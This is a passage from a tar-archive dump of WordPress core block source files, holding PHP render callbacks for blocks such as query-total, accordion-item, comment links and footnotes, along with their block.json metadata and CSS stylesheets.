'register_block_core_navigation_link' ); /** * Creates all variations for post types / taxonomies dynamically (= each time when variations are requested). * Do not use variation_callback, to also account for unregistering post types/taxonomies later on. */ add_action( 'get_block_type_variations', 'block_core_navigation_link_filter_variations', 10, 2 ); query-total.php 0000644 00000004747 15154763127 0007572 0 ustar 00 <?php /** * Server-side rendering of the `core/query-total` block. * * @package WordPress */ /** * Renders the `query-total` block on the server. * * @since 6.8.0 * * @global WP_Query $wp_query WordPress Query object. * * @param array $attributes Block attributes. * @param string $content Block default content. * @param WP_Block $block Block instance. * * @return string The rendered block content. */ function render_block_core_query_total( $attributes, $content, $block ) { global $wp_query; $wrapper_attributes = get_block_wrapper_attributes(); if ( isset( $block->context['query']['inherit'] ) && $block->context['query']['inherit'] ) { $query_to_use = $wp_query; $current_page = max( 1, (int) get_query_var( 'paged', 1 ) ); } else { $page_key = isset( $block->context['queryId'] ) ? 'query-' . $block->context['queryId'] . '-page' : 'query-page'; $current_page = isset( $_GET[ $page_key ] ) ? (int) $_GET[ $page_key ] : 1; $query_to_use = new WP_Query( build_query_vars_from_query_block( $block, $current_page ) ); } $max_rows = $query_to_use->found_posts; $posts_per_page = (int) $query_to_use->get( 'posts_per_page' ); // Calculate the range of posts being displayed. $start = ( 0 === $max_rows ) ? 0 : ( ( $current_page - 1 ) * $posts_per_page + 1 ); $end = min( $start + $posts_per_page - 1, $max_rows ); // Prepare the display based on the `displayType` attribute. $output = ''; switch ( $attributes['displayType'] ) { case 'range-display': if ( $start === $end ) { $output = sprintf( /* translators: 1: Start index of posts, 2: Total number of posts */ __( 'Displaying %1$s of %2$s' ), $start, $max_rows ); } else { $output = sprintf( /* translators: 1: Start index of posts, 2: End index of posts, 3: Total number of posts */ __( 'Displaying %1$s – %2$s of %3$s' ), $start, $end, $max_rows ); } break; case 'total-results': default: // translators: %d: number of results. $output = sprintf( _n( '%d result found', '%d results found', $max_rows ), $max_rows ); break; } return sprintf( '<div %1$s>%2$s</div>', $wrapper_attributes, $output ); } /** * Registers the `query-total` block. * * @since 6.8.0 */ function register_block_core_query_total() { register_block_type_from_metadata( __DIR__ . '/query-total', array( 'render_callback' => 'render_block_core_query_total', ) ); } add_action( 'init', 'register_block_core_query_total' ); math/editor-rtl.css 0000644 00000000154 15154763127 0010307 0 ustar 00 .wp-block-math__textarea-control textarea{ direction:ltr; font-family:Menlo,Consolas,monaco,monospace; } math/editor-rtl.min.css 0000644 00000000144 15154763127 0011070 0 ustar 00 .wp-block-math__textarea-control textarea{direction:ltr;font-family:Menlo,Consolas,monaco,monospace} math/block.json 0000644 00000000747 15154763127 0007505 0 ustar 00 { "$schema": "https://schemas.wp.org/trunk/block.json", "apiVersion": 3, "name": "core/math", "title": "Math", "category": "text", "description": "Display mathematical notation using LaTeX.", "keywords": [ "equation", "formula", "latex", "mathematics" ], "textdomain": "default", "supports": { "html": false }, "attributes": { "latex": { "type": "string", "role": "content" }, "mathML": { "type": "string", "source": "html", "selector": "math" } } } math/style-rtl.css 0000644 00000000071 15154763127 0010157 0 ustar 00 .wp-block-math{ overflow-x:auto; overflow-y:hidden; } math/style-rtl.min.css 0000644 00000000061 15154763127 0010740 0 ustar 00 .wp-block-math{overflow-x:auto;overflow-y:hidden} math/editor.css 0000644 00000000154 15154763127 0007510 0 ustar 00 .wp-block-math__textarea-control textarea{ direction:ltr; font-family:Menlo,Consolas,monaco,monospace; } math/style.css 0000644 00000000071 15154763127 0007360 0 ustar 00 .wp-block-math{ overflow-x:auto; overflow-y:hidden; } math/editor.min.css 0000644 00000000144 15154763127 0010271 0 ustar 00 .wp-block-math__textarea-control textarea{direction:ltr;font-family:Menlo,Consolas,monaco,monospace} math/style.min.css 0000644 00000000061 15154763127 0010141 0 ustar 00 .wp-block-math{overflow-x:auto;overflow-y:hidden} buttons/editor-rtl.css 0000644 00000002056 15154763127 0011057 0 ustar 00 .wp-block-buttons>.wp-block,.wp-block-buttons>.wp-block-button.wp-block-button.wp-block-button.wp-block-button.wp-block-button{ margin:0; } .wp-block-buttons>.block-list-appender{ align-items:center; display:inline-flex; } .wp-block-buttons.is-vertical>.block-list-appender .block-list-appender__toggle{ justify-content:flex-start; } .wp-block-buttons>.wp-block-button:focus{ box-shadow:none; } .wp-block-buttons:not(.is-content-justification-space-between,.is-content-justification-right,.is-content-justification-left,.is-content-justification-center) .wp-block[data-align=center]{ margin-left:auto; margin-right:auto; margin-top:0; width:100%; } .wp-block-buttons:not(.is-content-justification-space-between,.is-content-justification-right,.is-content-justification-left,.is-content-justification-center) .wp-block[data-align=center] .wp-block-button{ margin-bottom:0; } .wp-block[data-align=center]>.wp-block-buttons{ align-items:center; justify-content:center; } .wp-block[data-align=right]>.wp-block-buttons{ justify-content:flex-end; } buttons/editor-rtl.min.css 0000644 00000001756 15154763127 0011647 0 ustar 00 .wp-block-buttons>.wp-block,.wp-block-buttons>.wp-block-button.wp-block-button.wp-block-button.wp-block-button.wp-block-button{margin:0}.wp-block-buttons>.block-list-appender{align-items:center;display:inline-flex}.wp-block-buttons.is-vertical>.block-list-appender .block-list-appender__toggle{justify-content:flex-start}.wp-block-buttons>.wp-block-button:focus{box-shadow:none}.wp-block-buttons:not(.is-content-justification-space-between,.is-content-justification-right,.is-content-justification-left,.is-content-justification-center) .wp-block[data-align=center]{margin-left:auto;margin-right:auto;margin-top:0;width:100%}.wp-block-buttons:not(.is-content-justification-space-between,.is-content-justification-right,.is-content-justification-left,.is-content-justification-center) .wp-block[data-align=center] .wp-block-button{margin-bottom:0}.wp-block[data-align=center]>.wp-block-buttons{align-items:center;justify-content:center}.wp-block[data-align=right]>.wp-block-buttons{justify-content:flex-end} buttons/block.json 0000644 00000003115 15154763127 0010242 0 ustar 00 { "$schema": "https://schemas.wp.org/trunk/block.json", "apiVersion": 3, "name": "core/buttons", "title": "Buttons", "category": "design", "allowedBlocks": [ "core/button" ], "description": "Prompt visitors to take action with a group of button-style links.", "keywords": [ "link" ], "textdomain": "default", "supports": { "anchor": true, "align": [ "wide", "full" ], "html": false, "__experimentalExposeControlsToChildren": true, "color": { "gradients": true, "text": false, "__experimentalDefaultControls": { "background": true } }, "spacing": { "blockGap": [ "horizontal", "vertical" ], "padding": true, "margin": [ "top", "bottom" ], "__experimentalDefaultControls": { "blockGap": true } }, "typography": { "fontSize": true, "lineHeight": true, "__experimentalFontFamily": true, "__experimentalFontWeight": true, "__experimentalFontStyle": true, "__experimentalTextTransform": true, "__experimentalTextDecoration": true, "__experimentalLetterSpacing": true, "__experimentalDefaultControls": { "fontSize": true } }, "__experimentalBorder": { "color": true, "radius": true, "style": true, "width": true, "__experimentalDefaultControls": { "color": true, "radius": true, "style": true, "width": true } }, "layout": { "allowSwitching": false, "allowInheriting": false, "default": { "type": "flex" } }, "interactivity": { "clientNavigation": true }, "contentRole": true }, "editorStyle": "wp-block-buttons-editor", "style": "wp-block-buttons" } buttons/style-rtl.css 0000644 00000002742 15154763127 0010733 0 ustar 00 .wp-block-buttons{ box-sizing:border-box; } .wp-block-buttons.is-vertical{ flex-direction:column; } .wp-block-buttons.is-vertical>.wp-block-button:last-child{ margin-bottom:0; } .wp-block-buttons>.wp-block-button{ display:inline-block; margin:0; } .wp-block-buttons.is-content-justification-left{ justify-content:flex-start; } .wp-block-buttons.is-content-justification-left.is-vertical{ align-items:flex-start; } .wp-block-buttons.is-content-justification-center{ justify-content:center; } .wp-block-buttons.is-content-justification-center.is-vertical{ align-items:center; } .wp-block-buttons.is-content-justification-right{ justify-content:flex-end; } .wp-block-buttons.is-content-justification-right.is-vertical{ align-items:flex-end; } .wp-block-buttons.is-content-justification-space-between{ justify-content:space-between; } .wp-block-buttons.aligncenter{ text-align:center; } .wp-block-buttons:not(.is-content-justification-space-between,.is-content-justification-right,.is-content-justification-left,.is-content-justification-center) .wp-block-button.aligncenter{ margin-left:auto; margin-right:auto; width:100%; } .wp-block-buttons[style*=text-decoration] .wp-block-button,.wp-block-buttons[style*=text-decoration] .wp-block-button__link{ text-decoration:inherit; } .wp-block-buttons.has-custom-font-size .wp-block-button__link{ font-size:inherit; } .wp-block-buttons .wp-block-button__link{ width:100%; } .wp-block-button.aligncenter{ text-align:center; } buttons/style-rtl.min.css 0000644 00000002563 15154763127 0011516 0 ustar 00 .wp-block-buttons{box-sizing:border-box}.wp-block-buttons.is-vertical{flex-direction:column}.wp-block-buttons.is-vertical>.wp-block-button:last-child{margin-bottom:0}.wp-block-buttons>.wp-block-button{display:inline-block;margin:0}.wp-block-buttons.is-content-justification-left{justify-content:flex-start}.wp-block-buttons.is-content-justification-left.is-vertical{align-items:flex-start}.wp-block-buttons.is-content-justification-center{justify-content:center}.wp-block-buttons.is-content-justification-center.is-vertical{align-items:center}.wp-block-buttons.is-content-justification-right{justify-content:flex-end}.wp-block-buttons.is-content-justification-right.is-vertical{align-items:flex-end}.wp-block-buttons.is-content-justification-space-between{justify-content:space-between}.wp-block-buttons.aligncenter{text-align:center}.wp-block-buttons:not(.is-content-justification-space-between,.is-content-justification-right,.is-content-justification-left,.is-content-justification-center) .wp-block-button.aligncenter{margin-left:auto;margin-right:auto;width:100%}.wp-block-buttons[style*=text-decoration] .wp-block-button,.wp-block-buttons[style*=text-decoration] .wp-block-button__link{text-decoration:inherit}.wp-block-buttons.has-custom-font-size .wp-block-button__link{font-size:inherit}.wp-block-buttons .wp-block-button__link{width:100%}.wp-block-button.aligncenter{text-align:center} buttons/editor.css 0000644 00000002056 15154763127 0010260 0 ustar 00 .wp-block-buttons>.wp-block,.wp-block-buttons>.wp-block-button.wp-block-button.wp-block-button.wp-block-button.wp-block-button{ margin:0; } .wp-block-buttons>.block-list-appender{ align-items:center; display:inline-flex; } .wp-block-buttons.is-vertical>.block-list-appender .block-list-appender__toggle{ justify-content:flex-start; } .wp-block-buttons>.wp-block-button:focus{ box-shadow:none; } .wp-block-buttons:not(.is-content-justification-space-between,.is-content-justification-right,.is-content-justification-left,.is-content-justification-center) .wp-block[data-align=center]{ margin-left:auto; margin-right:auto; margin-top:0; width:100%; } .wp-block-buttons:not(.is-content-justification-space-between,.is-content-justification-right,.is-content-justification-left,.is-content-justification-center) .wp-block[data-align=center] .wp-block-button{ margin-bottom:0; } .wp-block[data-align=center]>.wp-block-buttons{ align-items:center; justify-content:center; } .wp-block[data-align=right]>.wp-block-buttons{ justify-content:flex-end; } buttons/style.css 0000644 00000002742 15154763127 0010134 0 ustar 00 .wp-block-buttons{ box-sizing:border-box; } .wp-block-buttons.is-vertical{ flex-direction:column; } .wp-block-buttons.is-vertical>.wp-block-button:last-child{ margin-bottom:0; } .wp-block-buttons>.wp-block-button{ display:inline-block; margin:0; } .wp-block-buttons.is-content-justification-left{ justify-content:flex-start; } .wp-block-buttons.is-content-justification-left.is-vertical{ align-items:flex-start; } .wp-block-buttons.is-content-justification-center{ justify-content:center; } .wp-block-buttons.is-content-justification-center.is-vertical{ align-items:center; } .wp-block-buttons.is-content-justification-right{ justify-content:flex-end; } .wp-block-buttons.is-content-justification-right.is-vertical{ align-items:flex-end; } .wp-block-buttons.is-content-justification-space-between{ justify-content:space-between; } .wp-block-buttons.aligncenter{ text-align:center; } .wp-block-buttons:not(.is-content-justification-space-between,.is-content-justification-right,.is-content-justification-left,.is-content-justification-center) .wp-block-button.aligncenter{ margin-left:auto; margin-right:auto; width:100%; } .wp-block-buttons[style*=text-decoration] .wp-block-button,.wp-block-buttons[style*=text-decoration] .wp-block-button__link{ text-decoration:inherit; } .wp-block-buttons.has-custom-font-size .wp-block-button__link{ font-size:inherit; } .wp-block-buttons .wp-block-button__link{ width:100%; } .wp-block-button.aligncenter{ text-align:center; } buttons/editor.min.css 0000644 00000001756 15154763127 0011050 0 ustar 00 .wp-block-buttons>.wp-block,.wp-block-buttons>.wp-block-button.wp-block-button.wp-block-button.wp-block-button.wp-block-button{margin:0}.wp-block-buttons>.block-list-appender{align-items:center;display:inline-flex}.wp-block-buttons.is-vertical>.block-list-appender .block-list-appender__toggle{justify-content:flex-start}.wp-block-buttons>.wp-block-button:focus{box-shadow:none}.wp-block-buttons:not(.is-content-justification-space-between,.is-content-justification-right,.is-content-justification-left,.is-content-justification-center) .wp-block[data-align=center]{margin-left:auto;margin-right:auto;margin-top:0;width:100%}.wp-block-buttons:not(.is-content-justification-space-between,.is-content-justification-right,.is-content-justification-left,.is-content-justification-center) .wp-block[data-align=center] .wp-block-button{margin-bottom:0}.wp-block[data-align=center]>.wp-block-buttons{align-items:center;justify-content:center}.wp-block[data-align=right]>.wp-block-buttons{justify-content:flex-end} buttons/style.min.css 0000644 00000002563 15154763127 0010717 0 ustar 00 .wp-block-buttons{box-sizing:border-box}.wp-block-buttons.is-vertical{flex-direction:column}.wp-block-buttons.is-vertical>.wp-block-button:last-child{margin-bottom:0}.wp-block-buttons>.wp-block-button{display:inline-block;margin:0}.wp-block-buttons.is-content-justification-left{justify-content:flex-start}.wp-block-buttons.is-content-justification-left.is-vertical{align-items:flex-start}.wp-block-buttons.is-content-justification-center{justify-content:center}.wp-block-buttons.is-content-justification-center.is-vertical{align-items:center}.wp-block-buttons.is-content-justification-right{justify-content:flex-end}.wp-block-buttons.is-content-justification-right.is-vertical{align-items:flex-end}.wp-block-buttons.is-content-justification-space-between{justify-content:space-between}.wp-block-buttons.aligncenter{text-align:center}.wp-block-buttons:not(.is-content-justification-space-between,.is-content-justification-right,.is-content-justification-left,.is-content-justification-center) .wp-block-button.aligncenter{margin-left:auto;margin-right:auto;width:100%}.wp-block-buttons[style*=text-decoration] .wp-block-button,.wp-block-buttons[style*=text-decoration] .wp-block-button__link{text-decoration:inherit}.wp-block-buttons.has-custom-font-size .wp-block-button__link{font-size:inherit}.wp-block-buttons .wp-block-button__link{width:100%}.wp-block-button.aligncenter{text-align:center} accordion-item.php 0000644 00000004553 15154763127 0010174 0 ustar 00 <?php /** * Server-side rendering of the `core/accordion-item` block. * * @package WordPress * @since 6.9.0 * * @param array $attributes The block attributes. * @param string $content The block content. * * @return string Returns the updated markup. */ function block_core_accordion_item_render( $attributes, $content ) { if ( ! $content ) { return $content; } $p = new WP_HTML_Tag_Processor( $content ); $unique_id = wp_unique_id( 'accordion-item-' ); // Initialize the state of the item on the server using a closure, // since we need to get derived state based on the current context. wp_interactivity_state( 'core/accordion', array( 'isOpen' => function () { $context = wp_interactivity_get_context(); return $context['openByDefault']; }, ) ); if ( $p->next_tag( array( 'class_name' => 'wp-block-accordion-item' ) ) ) { $open_by_default = $attributes['openByDefault'] ? 'true' : 'false'; $p->set_attribute( 'data-wp-context', '{ "id": "' . $unique_id . '", "openByDefault": ' . $open_by_default . ' }' ); $p->set_attribute( 'data-wp-class--is-open', 'state.isOpen' ); $p->set_attribute( 'data-wp-init', 'callbacks.initAccordionItems' ); $p->set_attribute( 'data-wp-on-window--hashchange', 'callbacks.hashChange' ); if ( $p->next_tag( array( 'class_name' => 'wp-block-accordion-heading__toggle' ) ) ) { $p->set_attribute( 'data-wp-on--click', 'actions.toggle' ); $p->set_attribute( 'data-wp-on--keydown', 'actions.handleKeyDown' ); $p->set_attribute( 'id', $unique_id ); $p->set_attribute( 'aria-controls', $unique_id . '-panel' ); $p->set_attribute( 'data-wp-bind--aria-expanded', 'state.isOpen' ); if ( $p->next_tag( array( 'class_name' => 'wp-block-accordion-panel' ) ) ) { $p->set_attribute( 'id', $unique_id . '-panel' ); $p->set_attribute( 'aria-labelledby', $unique_id ); $p->set_attribute( 'data-wp-bind--inert', '!state.isOpen' ); // Only modify content if all directives have been set. $content = $p->get_updated_html(); } } } return $content; } /** * Registers the `core/accordion-item` block on server. * * @since 6.9.0 */ function register_block_core_accordion_item() { register_block_type_from_metadata( __DIR__ . '/accordion-item', array( 'render_callback' => 'block_core_accordion_item_render', ) ); } add_action( 'init', 'register_block_core_accordion_item' ); footnotes/block.json 0000644 00000002604 15154763127 0010566 0 ustar 00 { "$schema": "https://schemas.wp.org/trunk/block.json", "apiVersion": 3, "name": "core/footnotes", "title": "Footnotes", "category": "text", "description": "Display footnotes added to the page.", "keywords": [ "references" ], "textdomain": "default", "usesContext": [ "postId", "postType" ], "supports": { "__experimentalBorder": { "radius": true, "color": true, "width": true, "style": true, "__experimentalDefaultControls": { "radius": false, "color": false, "width": false, "style": false } }, "color": { "background": true, "link": true, "text": true, "__experimentalDefaultControls": { "link": true, "text": true } }, "html": false, "multiple": false, "reusable": false, "inserter": false, "spacing": { "margin": true, "padding": true, "__experimentalDefaultControls": { "margin": false, "padding": false } }, "typography": { "fontSize": true, "lineHeight": true, "__experimentalFontFamily": true, "__experimentalTextDecoration": true, "__experimentalFontStyle": true, "__experimentalFontWeight": true, "__experimentalLetterSpacing": true, "__experimentalTextTransform": true, "__experimentalWritingMode": true, "__experimentalDefaultControls": { "fontSize": true } }, "interactivity": { "clientNavigation": true } }, "style": "wp-block-footnotes" } footnotes/style-rtl.css 0000644 00000000510 15154763127 0011244 0 ustar 00 .editor-styles-wrapper,.entry-content{ counter-reset:footnotes; } a[data-fn].fn{ counter-increment:footnotes; display:inline-flex; font-size:smaller; text-decoration:none; text-indent:-9999999px; vertical-align:super; } a[data-fn].fn:after{ content:"[" counter(footnotes) "]"; float:right; text-indent:0; } footnotes/style-rtl.min.css 0000644 00000000440 15154763127 0012030 0 ustar 00 .editor-styles-wrapper,.entry-content{counter-reset:footnotes}a[data-fn].fn{counter-increment:footnotes;display:inline-flex;font-size:smaller;text-decoration:none;text-indent:-9999999px;vertical-align:super}a[data-fn].fn:after{content:"[" counter(footnotes) "]";float:right;text-indent:0} footnotes/style.css 0000644 00000000507 15154763127 0010453 0 ustar 00 .editor-styles-wrapper,.entry-content{ counter-reset:footnotes; } a[data-fn].fn{ counter-increment:footnotes; display:inline-flex; font-size:smaller; text-decoration:none; text-indent:-9999999px; vertical-align:super; } a[data-fn].fn:after{ content:"[" counter(footnotes) "]"; float:left; text-indent:0; } footnotes/style.min.css 0000644 00000000437 15154763127 0011237 0 ustar 00 .editor-styles-wrapper,.entry-content{counter-reset:footnotes}a[data-fn].fn{counter-increment:footnotes;display:inline-flex;font-size:smaller;text-decoration:none;text-indent:-9999999px;vertical-align:super}a[data-fn].fn:after{content:"[" counter(footnotes) "]";float:left;text-indent:0} comment-edit-link.php 0000644 00000003261 15154763127 0010612 0 ustar 00 <?php /** * Server-side rendering of the `core/comment-edit-link` block. * * @package WordPress */ /** * Renders the `core/comment-edit-link` block on the server. * * @since 6.0.0 * * @param array $attributes Block attributes. * @param string $content Block default content. * @param WP_Block $block Block instance. * * @return string Return the post comment's date. */ function render_block_core_comment_edit_link( $attributes, $content, $block ) { if ( ! isset( $block->context['commentId'] ) || ! current_user_can( 'edit_comment', $block->context['commentId'] ) ) { return ''; } $edit_comment_link = get_edit_comment_link( $block->context['commentId'] ); $link_atts = ''; if ( ! empty( $attributes['linkTarget'] ) ) { $link_atts .= sprintf( 'target="%s"', esc_attr( $attributes['linkTarget'] ) ); } $classes = array(); if ( isset( $attributes['textAlign'] ) ) { $classes[] = 'has-text-align-' . $attributes['textAlign']; } if ( isset( $attributes['style']['elements']['link']['color']['text'] ) ) { $classes[] = 'has-link-color'; } $wrapper_attributes = get_block_wrapper_attributes( array( 'class' => implode( ' ', $classes ) ) ); return sprintf( '<div %1$s><a href="%2$s" %3$s>%4$s</a></div>', $wrapper_attributes, esc_url( $edit_comment_link ), $link_atts, esc_html__( 'Edit' ) ); } /** * Registers the `core/comment-edit-link` block on the server. * * @since 6.0.0 */ function register_block_core_comment_edit_link() { register_block_type_from_metadata( __DIR__ . '/comment-edit-link', array( 'render_callback' => 'render_block_core_comment_edit_link', ) ); } add_action( 'init', 'register_block_core_comment_edit_link' ); comment-author-name.php 0000644 00000004125 15154763127 0011152 0 ustar 00 <?php /** * Server-side rendering of the `core/comment-author-name` block. * * @package WordPress */ /** * Renders the `core/comment-author-name` block on the server. * * @since 6.0.0 * * @param array $attributes Block attributes. * @param string $content Block default content. * @param WP_Block $block Block instance. * @return string Return the post comment's author. */ function render_block_core_comment_author_name( $attributes, $content, $block ) { if ( ! isset( $block->context['commentId'] ) ) { return ''; } $comment = get_comment( $block->context['commentId'] ); $commenter = wp_get_current_commenter(); $show_pending_links = isset( $commenter['comment_author'] ) && $commenter['comment_author']; if ( empty( $comment ) ) { return ''; } $classes = array(); if ( isset( $attributes['textAlign'] ) ) { $classes[] = 'has-text-align-' . $attributes['textAlign']; } if ( isset( $attributes['style']['elements']['link']['color']['text'] ) ) { $classes[] = 'has-link-color'; } $wrapper_attributes = get_block_wrapper_attributes( array( 'class' => implode( ' ', $classes ) ) ); $comment_author = get_comment_author( $comment ); $link = get_comment_author_url( $comment ); if ( ! empty( $link ) && ! empty( $attributes['isLink'] ) && ! empty( $attributes['linkTarget'] ) ) { $comment_author = sprintf( '<a rel="external nofollow ugc" href="%1s" target="%2s" >%3s</a>', esc_url( $link ), esc_attr( $attributes['linkTarget'] ), $comment_author ); } if ( '0' === $comment->comment_approved && ! $show_pending_links ) { $comment_author = wp_kses( $comment_author, array() ); } return sprintf( '<div %1$s>%2$s</div>', $wrapper_attributes, $comment_author ); } /** * Registers the `core/comment-author-name` block on the server. * * @since 6.0.0 */ function register_block_core_comment_author_name() { register_block_type_from_metadata( __DIR__ . '/comment-author-name', array( 'render_callback' => 'render_block_core_comment_author_name', ) ); } add_action( 'init', 'register_block_core_comment_author_name' ); missing/block.json 0000644 00000001246 15154763127 0010220 0 ustar 00 { "$schema": "https://schemas.wp.org/trunk/block.json", "apiVersion": 3, "name": "core/missing", "title": "Unsupported", "category": "text", "description": "Your site doesn’t include support for this block.", "textdomain": "default", "attributes": { "originalName": { "type": "string" }, "originalUndelimitedContent": { "type": "string" }, "originalContent": { "type": "string", "source": "raw" } }, "supports": { "className": false, "customClassName": false, "inserter": false, "html": false, "lock": false, "reusable": false, "renaming": false, "visibility": false, "interactivity": { "clientNavigation": true } } } comment-date/block.json 0000644 00000002534 15154763127 0011125 0 ustar 00 { "$schema": "https://schemas.wp.org/trunk/block.json", "apiVersion": 3, "name": "core/comment-date", "title": "Comment Date", "category": "theme", "ancestor": [ "core/comment-template" ], "description": "Displays the date on which the comment was posted.", "textdomain": "default", "attributes": { "format": { "type": "string" }, "isLink": { "type": "boolean", "default": true } }, "usesContext": [ "commentId" ], "supports": { "html": false, "color": { "gradients": true, "link": true, "__experimentalDefaultControls": { "background": true, "text": true, "link": true } }, "spacing": { "margin": true, "padding": true }, "typography": { "fontSize": true, "lineHeight": true, "__experimentalFontFamily": true, "__experimentalFontWeight": true, "__experimentalFontStyle": true, "__experimentalTextTransform": true, "__experimentalTextDecoration": true, "__experimentalLetterSpacing": true, "__experimentalDefaultControls": { "fontSize": true } }, "interactivity": { "clientNavigation": true }, "__experimentalBorder": { "radius": true, "color": true, "width": true, "style": true, "__experimentalDefaultControls": { "radius": true, "color": true, "width": true, "style": true } } }, "style": "wp-block-comment-date" } comment-date/style-rtl.css 0000644 00000000062 15154763127 0011603 0 ustar 00 .wp-block-comment-date{ box-sizing:border-box; } comment-date/style-rtl.min.css 0000644 00000000055 15154763127 0012367 0 ustar 00 .wp-block-comment-date{box-sizing:border-box} comment-date/style.css 0000644 00000000062 15154763127 0011004 0 ustar 00 .wp-block-comment-date{ box-sizing:border-box; } comment-date/style.min.css 0000644 00000000055 15154763127 0011570 0 ustar 00 .wp-block-comment-date{box-sizing:border-box} footnotes.php 0000644 00000007273 15154763127 0007321 0 ustar 00 <?php /** * Server-side rendering of the `core/footnotes` block. * * @package WordPress */ /** * Renders the `core/footnotes` block on the server. * * @since 6.3.0 * * @param array $attributes Block attributes. * @param string $content Block default content. * @param WP_Block $block Block instance. * * @return string Returns the HTML representing the footnotes. */ function render_block_core_footnotes( $attributes, $content, $block ) { // Bail out early if the post ID is not set for some reason. if ( empty( $block->context['postId'] ) ) { return ''; } if ( post_password_required( $block->context['postId'] ) ) { return; } $footnotes = get_post_meta( $block->context['postId'], 'footnotes', true ); if ( ! $footnotes ) { return; } $footnotes = json_decode( $footnotes, true ); if ( ! is_array( $footnotes ) || count( $footnotes ) === 0 ) { return ''; } $wrapper_attributes = get_block_wrapper_attributes(); $footnote_index = 1; $block_content = ''; foreach ( $footnotes as $footnote ) { // Translators: %d: Integer representing the number of return links on the page. $aria_label = sprintf( __( 'Jump to footnote reference %1$d' ), $footnote_index ); $block_content .= sprintf( '<li id="%1$s">%2$s <a href="#%1$s-link" aria-label="%3$s">↩︎</a></li>', $footnote['id'], $footnote['content'], $aria_label ); ++$footnote_index; } return sprintf( '<ol %1$s>%2$s</ol>', $wrapper_attributes, $block_content ); } /** * Registers the `core/footnotes` block on the server. * * @since 6.3.0 */ function register_block_core_footnotes() { register_block_type_from_metadata( __DIR__ . '/footnotes', array( 'render_callback' => 'render_block_core_footnotes', ) ); } add_action( 'init', 'register_block_core_footnotes' ); /** * Registers the footnotes meta field required for footnotes to work. * * @since 6.5.0 */ function register_block_core_footnotes_post_meta() { $post_types = get_post_types( array( 'show_in_rest' => true ) ); foreach ( $post_types as $post_type ) { // Only register the meta field if the post type supports the editor, custom fields, and revisions. if ( post_type_supports( $post_type, 'editor' ) && post_type_supports( $post_type, 'custom-fields' ) && post_type_supports( $post_type, 'revisions' ) ) { register_post_meta( $post_type, 'footnotes', array( 'show_in_rest' => true, 'single' => true, 'type' => 'string', 'revisions_enabled' => true, ) ); } } } /* * Most post types are registered at priority 10, so use priority 20 here in * order to catch them. */ add_action( 'init', 'register_block_core_footnotes_post_meta', 20 ); /** * Adds the footnotes field to the revisions display. * * @since 6.3.0 * * @param array $fields The revision fields. * @return array The revision fields. */ function wp_add_footnotes_to_revision( $fields ) { $fields['footnotes'] = __( 'Footnotes' ); return $fields; } add_filter( '_wp_post_revision_fields', 'wp_add_footnotes_to_revision' ); /** * Gets the footnotes field from the revision for the revisions screen. * * @since 6.3.0 * * @param string $revision_field The field value, but $revision->$field * (footnotes) does not exist. * @param string $field The field name, in this case "footnotes". * @param object $revision The revision object to compare against. * @return string The field value. */ function wp_get_footnotes_from_revision( $revision_field, $field, $revision ) { return get_metadata( 'post', $revision->ID, $field, true ); } add_filter( '_wp_post_revision_field_footnotes', 'wp_get_footnotes_from_revision', 10, 3 ); post-template/block.json 0000644 00000003043 15154763127 0011342 0 ustar 00 { "$schema": "https://schemas.wp.org/trunk/block.json", "apiVersion": 3, "name": "core/post-template", "title": "Post Template", "category": "theme", "ancestor": [ "core/query" ], "description": "Contains the block elements used to render a post, like the title, date, featured image, content or excerpt, and more.", "textdomain": "default", "usesContext": [ "queryId", "query", "displayLayout", "templateSlug", "previewPostType", "enhancedPagination", "postType" ], "supports": { "reusable": false, "html": false, "align": [ "wide", "full" ], "layout": true, "color": { "gradients": true, "link": true, "__experimentalDefaultControls": { "background": true, "text": true } }, "typography": { "fontSize": true, "lineHeight": true, "__experimentalFontFamily": true, "__experimentalFontWeight": true, "__experimentalFontStyle": true, "__experimentalTextTransform": true, "__experimentalTextDecoration": true, "__experimentalLetterSpacing": true, "__experimentalDefaultControls": { "fontSize": true } }, "spacing": { "margin": true, "padding": true, "blockGap": { "__experimentalDefault": "1.25em" }, "__experimentalDefaultControls": { "blockGap": true, "padding": false, "margin": false } }, "interactivity": { "clientNavigation": true }, "__experimentalBorder": { "radius": true, "color": true, "width": true, "style": true } }, "style": "wp-block-post-template", "editorStyle": "wp-block-post-template-editor" } post-template/style-rtl.css 0000644 00000003215 15154763127 0012027 0 ustar 00 .wp-block-post-template{ box-sizing:border-box; list-style:none; margin-bottom:0; margin-top:0; max-width:100%; padding:0; } .wp-block-post-template.is-flex-container{ display:flex; flex-direction:row; flex-wrap:wrap; gap:1.25em; } .wp-block-post-template.is-flex-container>li{ margin:0; width:100%; } @media (min-width:600px){ .wp-block-post-template.is-flex-container.is-flex-container.columns-2>li{ width:calc(50% - .625em); } .wp-block-post-template.is-flex-container.is-flex-container.columns-3>li{ width:calc(33.33333% - .83333em); } .wp-block-post-template.is-flex-container.is-flex-container.columns-4>li{ width:calc(25% - .9375em); } .wp-block-post-template.is-flex-container.is-flex-container.columns-5>li{ width:calc(20% - 1em); } .wp-block-post-template.is-flex-container.is-flex-container.columns-6>li{ width:calc(16.66667% - 1.04167em); } } @media (max-width:600px){ .wp-block-post-template-is-layout-grid.wp-block-post-template-is-layout-grid.wp-block-post-template-is-layout-grid.wp-block-post-template-is-layout-grid{ grid-template-columns:1fr; } } .wp-block-post-template-is-layout-constrained>li>.alignright,.wp-block-post-template-is-layout-flow>li>.alignright{ float:left; margin-inline-end:0; margin-inline-start:2em; } .wp-block-post-template-is-layout-constrained>li>.alignleft,.wp-block-post-template-is-layout-flow>li>.alignleft{ float:right; margin-inline-end:2em; margin-inline-start:0; } .wp-block-post-template-is-layout-constrained>li>.aligncenter,.wp-block-post-template-is-layout-flow>li>.aligncenter{ margin-inline-end:auto; margin-inline-start:auto; } post-template/style-rtl.min.css 0000644 00000002761 15154763127 0012616 0 ustar 00 .wp-block-post-template{box-sizing:border-box;list-style:none;margin-bottom:0;margin-top:0;max-width:100%;padding:0}.wp-block-post-template.is-flex-container{display:flex;flex-direction:row;flex-wrap:wrap;gap:1.25em}.wp-block-post-template.is-flex-container>li{margin:0;width:100%}@media (min-width:600px){.wp-block-post-template.is-flex-container.is-flex-container.columns-2>li{width:calc(50% - .625em)}.wp-block-post-template.is-flex-container.is-flex-container.columns-3>li{width:calc(33.33333% - .83333em)}.wp-block-post-template.is-flex-container.is-flex-container.columns-4>li{width:calc(25% - .9375em)}.wp-block-post-template.is-flex-container.is-flex-container.columns-5>li{width:calc(20% - 1em)}.wp-block-post-template.is-flex-container.is-flex-container.columns-6>li{width:calc(16.66667% - 1.04167em)}}@media 